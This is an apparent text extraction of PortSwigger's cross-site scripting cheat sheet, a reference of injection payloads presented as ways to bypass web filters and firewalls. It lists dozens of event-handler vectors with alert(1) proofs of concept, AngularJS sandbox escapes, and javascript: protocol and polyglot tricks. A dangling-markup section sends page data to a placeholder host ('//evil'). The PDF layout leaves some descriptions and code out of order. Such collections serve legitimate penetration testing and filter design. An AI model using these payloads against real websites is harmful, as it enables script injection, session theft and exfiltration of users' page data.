"
"
This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or
browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2020. Last updated: Tue, 14 Jan 2020 15:56:36 +0000.
Event handlers
onactivate
Compatibility: Fires when the element is activated <a id=x tabindex=1 onactivate=alert(1)></a>
onafterprint
Compatibility: Fires after the page is printed <body onafterprint=alert(1)>
onanimationcancel
Compatibility: Fires when a CSS animation cancels <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target
{animation:10s ease-in-out 0s 1 x;}</style><a id=x
style="position:absolute;" onanimationcancel="alert(1)"></a>
onanimationend
Compatibility: Fires when a CSS animation ends <style>@keyframes x{}</style><a style="animation-name:x"
onanimationend="alert(1)"></a>
onanimationiteration
Compatibility: Fires when a CSS animation repeats <style>@keyframes slidein {}</style><a style="animation-
duration:1s;animation-name:slidein;animation-iteration-count:2"
onanimationiteration="alert(1)"></a>
onanimationstart
Compatibility: Fires when a CSS animation starts <style>@keyframes x{}</style><a style="animation-name:x"
onanimationstart="alert(1)"></a>
onbeforeactivate
Compatibility: Fires before the element is activated <a id=x tabindex=1 onbeforeactivate=alert(1)></a>
onbeforedeactivate
Compatibility: Fires before the element is deactivated <a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>
onbeforeprint
Compatibility: Fires before the page is printed <body onbeforeprint=alert(1)>
onbeforeunload
Compatibility: Fires after if the url changes <body onbeforeunload="location='javascript:alert(1)'">
onbegin
Compatibility: Fires when a svg animation begins <svg><animate onbegin=alert(1) attributeName=x dur=1s>
onblur
Compatibility: Fires when an element loses focus <a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
onbounce
Compatibility: Fires when the marquee bounces <marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
oncanplay
Compatibility: Fires if the resource can be played <audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
oncanplaythrough
Compatibility: Fires when enough data has been loaded <video oncanplaythrough=alert(1)><source src="validvideo.mp4"
type="video/mp4"></video>
to play the resource all the way through
ondeactivate
Compatibility: Fires when the element is deactivated <a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
onend
Compatibility: Fires when a svg animation ends <svg><animate onend=alert(1) attributeName=x dur=1s>
onended
Compatibility: Fires when the resource is finished <audio controls autoplay onended=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
playing
onerror
Compatibility: Fires when the resource fails to load or <audio src/onerror=alert(1)>
causes an error
onfinish
Compatibility: Fires when the marquee finishes <marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
onfocus
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocus=alert(1)></a>
onfocusin
Compatibility: Fires when the element has focus <a id=x tabindex=1 onfocusin=alert(1)></a>
onfocusout
Compatibility: Fires when an element loses focus <a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
onhashchange
Compatibility: Fires if the hash changes <body onhashchange="alert(1)">
onload
Compatibility: Fires when the element is loaded <svg><a onload=alert(1)></a>
onloadeddata
Compatibility: Fires when the first frame is loaded <audio onloadeddata=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onloadedmetadata
Compatibility: Fires when the meta data is loaded <audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav"
type="audio/wav"></audio>
onloadend
Compatibility: Fires when the element finishes loading <image src=validimage.png onloadend=alert(1)>
onloadstart
Compatibility: Fires when the element begins to load <image src=validimage.png onloadstart=alert(1)>
onmessage
Compatibility: Fires when message event is received <body onmessage=alert(1)>
from a postMessage call
onpageshow
Compatibility: Fires when the page is shown <body onpageshow=alert(1)>
onplay
Compatibility: Fires when the resource is played <audio autoplay onplay=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onplaying
Compatibility: Fires the resource is playing <audio autoplay onplaying=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onpopstate
Compatibility: Fires when the history changes <body onpopstate=alert(1)>
onreadystatechange
Compatibility: Fires when the ready state changes <applet onreadystatechange=alert(1)></applet>
onrepeat
Compatibility: Fires when a svg animation repeats <svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
onresize
Compatibility: Fires when the window is resized <body onresize="alert(1)">
onscroll
Compatibility: Fires when the page scrolls <body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
onstart
Compatibility: Fires when the marquee starts <marquee onstart=alert(1)>XSS</marquee>
ontimeupdate
Compatibility: Fires when the timeline is changed <audio controls autoplay ontimeupdate=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
ontoggle
Compatibility: Fires when the details tag is expanded <details ontoggle=alert(1) open>test</details>
ontransitioncancel
Compatibility: Fires when a CSS transition cancels <style>:target {color: red;}</style><a id=x style="transition:color 10s"
ontransitioncancel=alert(1)></a>
ontransitionend
Compatibility: Fires when a CSS transition ends <style>:target {color:red;}</style><a id=x style="transition:color 1s"
ontransitionend=alert(1)></a>
ontransitionrun
Compatibility: Fires when a CSS transition begins <style>:target {transform: rotate(180deg);}</style><a id=x
style="transition:transform 2s" ontransitionrun=alert(1)></a>
onunhandledrejection
Compatibility: Fires when a promise isn't handled <body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
onwaiting
Compatibility: Fires when while waiting for the data <video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4"
type=video/mp4></video>
onauxclick
Compatibility: Fires when right clicking or using the <input onauxclick=alert(1)>
middle button of the mouse
onbeforecopy
Compatibility: Requires you copy a piece of text <a onbeforecopy="alert(1)" contenteditable>test</a>
onbeforecut
Compatibility: Requires you cut a piece of text <a onbeforecut="alert(1)" contenteditable>test</a>
onbeforepaste
Compatibility: Requires you paste a piece of text <a onbeforepaste="alert(1)" contenteditable>test</a>
onchange
Compatibility: Requires as change of value <input onchange=alert(1) value=xss>
onclick
Compatibility: Requires a click of the element <a onclick="alert(1)">test</a>
oncontextmenu
Compatibility: Triggered when right clicking to show the <a oncontextmenu="alert(1)">test</a>
context menu
oncopy
Compatibility: Requires you copy a piece of text <a oncopy="alert(1)" contenteditable>test</a>
oncut
Compatibility: Requires you cut a piece of text <a oncut="alert(1)" contenteditable>test</a>
ondblclick
Compatibility: Triggered when double clicking the <a ondblclick="alert(1)">test</a>
element
ondrag
Compatibility: Triggered dragging the element <a draggable="true" ondrag="alert(1)">test</a>
ondragend
Compatibility: Triggered dragging is finished on the <a draggable="true" ondragend="alert(1)">test</a>
element
ondragenter
Compatibility: Requires a mouse drag <a draggable="true" ondragenter="alert(1)">test</a>
ondragleave
Compatibility: Requires a mouse drag <a draggable="true" ondragleave="alert(1)">test</a>
ondragover
Compatibility: Triggered dragging over an element <div draggable="true" contenteditable>drag me</div><a ondragover=alert(1)
contenteditable>drop here</a>
ondragstart
Compatibility: Requires a mouse drag <a draggable="true" ondragstart="alert(1)">test</a>
ondrop
Compatibility: Triggered dropping a draggable element <div draggable="true" contenteditable>drag me</div><a ondrop=alert(1)
contenteditable>drop here</a>
oninput
Compatibility: Requires as change of value <input oninput=alert(1) value=xss>
oninvalid
Compatibility: Requires a form submission with an <form><input oninvalid=alert(1) required><input type=submit>
element that does not satisfy its
constraints such as a required attribute.
onkeydown
Compatibility: Triggered when a key is pressed <a onkeydown="alert(1)" contenteditable>test</a>
onkeypress
Compatibility: Triggered when a key is pressed <a onkeypress="alert(1)" contenteditable>test</a>
onkeyup
Compatibility: Triggered when a key is released <a onkeyup="alert(1)" contenteditable>test</a>
onmousedown
Compatibility: Triggered when the mouse is pressed <a onmousedown="alert(1)">test</a>
onmouseenter
Compatibility: Triggered when the mouse is hovered <a onmouseenter="alert(1)">test</a>
over the element
onmouseleave
Compatibility: Triggered when the mouse is moved <a onmouseleave="alert(1)">test</a>
away from the element
onmousemove
Compatibility: Requires mouse movement <a onmousemove="alert(1)">test</a>
onmouseout
Compatibility: Triggered when the mouse is moved <a onmouseout="alert(1)">test</a>
away from the element
onmouseover
Compatibility: Requires a hover over the element <a onmouseover="alert(1)">test</a>
onmouseup
Compatibility: Triggered when the mouse button is <a onmouseup="alert(1)">test</a>
released
onpaste
Compatibility: Requires you paste a piece of text <a onpaste="alert(1)" contenteditable>test</a>
onpause
Compatibility: Requires clicking the element to pause <audio autoplay controls onpause=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onpointerover
Compatibility: Fires when the mouseover <a onpointerover=alert(1)>XSS</a>
onpointerdown
Compatibility: Fires when the mouse down <a onpointerdown=alert(1)>XSS</a>
onpointerenter
Compatibility: Fires when the mouseenter <a onpointerenter=alert(1)>XSS</a>
onpointerleave
Compatibility: Fires when the mouseleave <a onpointerleave=alert(1)>XSS</a>
onpointermove
Compatibility: Fires when the mouse move <a onpointermove=alert(1)>XSS</a>
onpointerout
Compatibility: Fires when the mouse out <a onpointerout=alert(1)>XSS</a>
onpointerup
Compatibility: Fires when the mouse up <a onpointerup=alert(1)>XSS</a>
onreset
Compatibility: Requires a click <form onreset=alert(1)><input type=reset>
onsearch
Compatibility: Fires when a form is submitted and the <form><input type=search onsearch=alert(1) value="Hit return" autofocus>
input has a type attribute of search
onseeked
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeked=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onseeking
Compatibility: Requires clicking the element timeline <audio autoplay controls onseeking=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
onselect
Compatibility: Requires you select text <input onselect=alert(1) value="XSS" autofocus>
onsubmit
Compatibility: Requires a form submission <form onsubmit=alert(1)><input type=submit>
ontouchstart
Compatibility: Fires when the touch screen, only mobile <body ontouchstart=alert(1)>
device
ontouchend
Compatibility: Fires when the touch screen, only mobile <body ontouchend=alert(1)>
device
ontouchmove
Compatibility: Fires when the touch screen and move, <body ontouchmove=alert(1)>
only mobile device
onunload
Compatibility: Requires a click anywhere on the page <svg onunload=window.open('javascript:alert(1)')>
and a reload
onvolumechange
Compatibility: Requires volume adjustment <audio autoplay controls onvolumechange=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
onwheel
Compatibility: Fires when you use the mouse wheel <body onwheel=alert(1)>
Restricted characters
Frameworks
Protocols
Characters \x01-\x20 are allowed before the protocol <a href=" javascript:alert(1)">XSS</a>
Xlink namespace inside SVG with JavaScript <svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
protocol
SVG script href attribute without closing script tag <svg><script href="data:text/javascript,alert(1)" />
Click a submit element from anywhere on the page, <form action="javascript:alert(1)"><input type=submit id=x></form><label
for=x>XSS</label>
even outside the form
Hidden inputs: Access key attributes can enable <input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X
on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements
Link elements: Access key attributes can enable <link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press
ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
XSS on normally unexploitable elements
Download attribute can save a copy of the current <a href=# download="filename.html">Test</a>
webpage
Set window.name via target attribute in a <base> tag <base target="alert(1)"><a href="http://subdomain1.portswigger-
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in base tag</a>
Set window.name via target attribute in a <a> tag <a target="alert(1)" href="http://subdomain1.portswigger-
labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via
target in a tag</a>
Set window.name via usemap attribute in a <img> <img src="validimage.png" width="10" height="10" usemap="#xss"><map
name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)"
tag
href="http://subdomain1.portswigger-labs.net/xss/xss.php?
context=js_string_single&x=%27;eval(name)//"></map>
Set window.name via formtarget attribute in a <form><input type=hidden name=x value="';eval(name)//"><input type=hidden
name=context value=js_string_single><input type="submit"
<input> tag type submit
formaction="http://subdomain1.portswigger-labs.net/xss/xss.php"
formtarget="alert(1)" value="XSS via formtarget in input type submit">
</form>
Set window.name via formtarget attribute in a <form><input type=hidden name=x value="';eval(name)//"><input type=hidden
name=context value=js_string_single><input name=1 type="image"
<input> tag type image
src="validimage.png" formaction="http://subdomain1.portswigger-
labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in
input type image"></form>
Special tags
Encoding
Obfuscation
Firefox allows NULL characters inside opening <!-- ><img title="--><iframe/onload=alert(1)>"> -->
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
comments
1.3.0 Gábor Molnár (Google) 272 {{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
1.2.0 - 1.5.0 Eduardo Vela (Google) 190 <div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div>
<div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">
{{ [1].reduce(value.alert, 1); }}</div></div></div>
Scriptless attacks
Dangling markup
Background attribute <body background="//evil?
<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?
Pass markup data through window.name using form <button form=x>XSS</button><form id=x action=//evil target='
target
Pass markup data through window.name using <form><input type=submit value="Click me"
formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
formtarget
formtarget="
Using embed window name to pass data from the <embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
name="
page
Using iframe window name to pass data from the <iframe src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Using object window name to pass data from the <object data=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Using frame window name to pass data from the <frameset><frame src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
page
Polyglots
Iframe data urls no longer work as modern browsers <iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
use a null origin
IE9 select elements and plaintext used to consume <form action=x><button>XSS</button><select name=x><option><plaintext>
<script>token="supersecret"</script>
markup
XBL also worked in FF3.5 using data urls <img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-
8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22
http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimple
mentation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js
%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20sc
r.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20
document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.
appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%
3C/ binding%3E%3C/bindings%3E)" />
Credits
Brought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo
Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a,
Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay,
Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush
Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David
Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu
You can contribute to this cheat sheet by updating the JSON and creating a pull request